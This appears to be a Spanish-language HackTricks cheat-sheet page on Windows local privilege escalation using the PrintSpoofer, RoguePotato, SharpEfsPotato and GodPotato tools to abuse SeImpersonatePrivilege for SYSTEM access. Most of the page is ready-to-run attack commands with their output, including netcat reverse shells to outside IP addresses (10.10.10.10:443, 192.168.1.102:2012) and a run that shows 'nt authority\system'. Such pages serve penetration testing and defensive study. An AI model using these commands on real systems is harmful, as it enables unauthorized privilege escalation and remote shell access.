hacktricks/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md

4.6 KiB

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

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{% hint style="warning" %} JuicyPotato no funciona en Windows Server 2019 y Windows 10 build 1809 en adelante. Sin embargo, PrintSpoofer, RoguePotato, SharpEfsPotato, GodPotato se pueden utilizar para aprovechar los mismos privilegios y obtener acceso a nivel NT AUTHORITY\SYSTEM. Este artículo del blog profundiza en la herramienta PrintSpoofer, que se puede utilizar para abusar de los privilegios de suplantación en hosts de Windows 10 y Server 2019 donde JuicyPotato ya no funciona. {% endhint %}

Demostración Rápida

PrintSpoofer

c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"

--------------------------------------------------------------------------------

[+] Found privilege: SeImpersonatePrivilege

[+] Named pipe listening...

[+] CreateProcessAsUser() OK

NULL

RoguePotato

{% code overflow="wrap" %}

c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l 9999
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999

SharpEfsPotato

SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
SharpEfsPotato by @bugch3ck
Local privilege escalation from SeImpersonatePrivilege using EfsRpc.

Built from SweetPotato by @_EthicalChaos_ and SharpSystemTriggers/SharpEfsTrigger by @cube0x0.

[+] Triggering name pipe access on evil PIPE \\localhost/pipe/c56e1f1f-f91c-4435-85df-6e158f68acd2/\c56e1f1f-f91c-4435-85df-6e158f68acd2\c56e1f1f-f91c-4435-85df-6e158f68acd2
df1941c5-fe89-4e79-bf10-463657acf44d@ncalrpc:
[x]RpcBindingSetAuthInfo failed with status 0x6d3
[+] Server connected to our evil RPC pipe
[+] Duplicated impersonation token ready for process creation
[+] Intercepted and authenticated successfully, launching program
[+] Process created, enjoy!

C:\temp>type C:\temp\w.log
nt authority\system

GodPotato

GodPotato -cmd "cmd /c whoami"
GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
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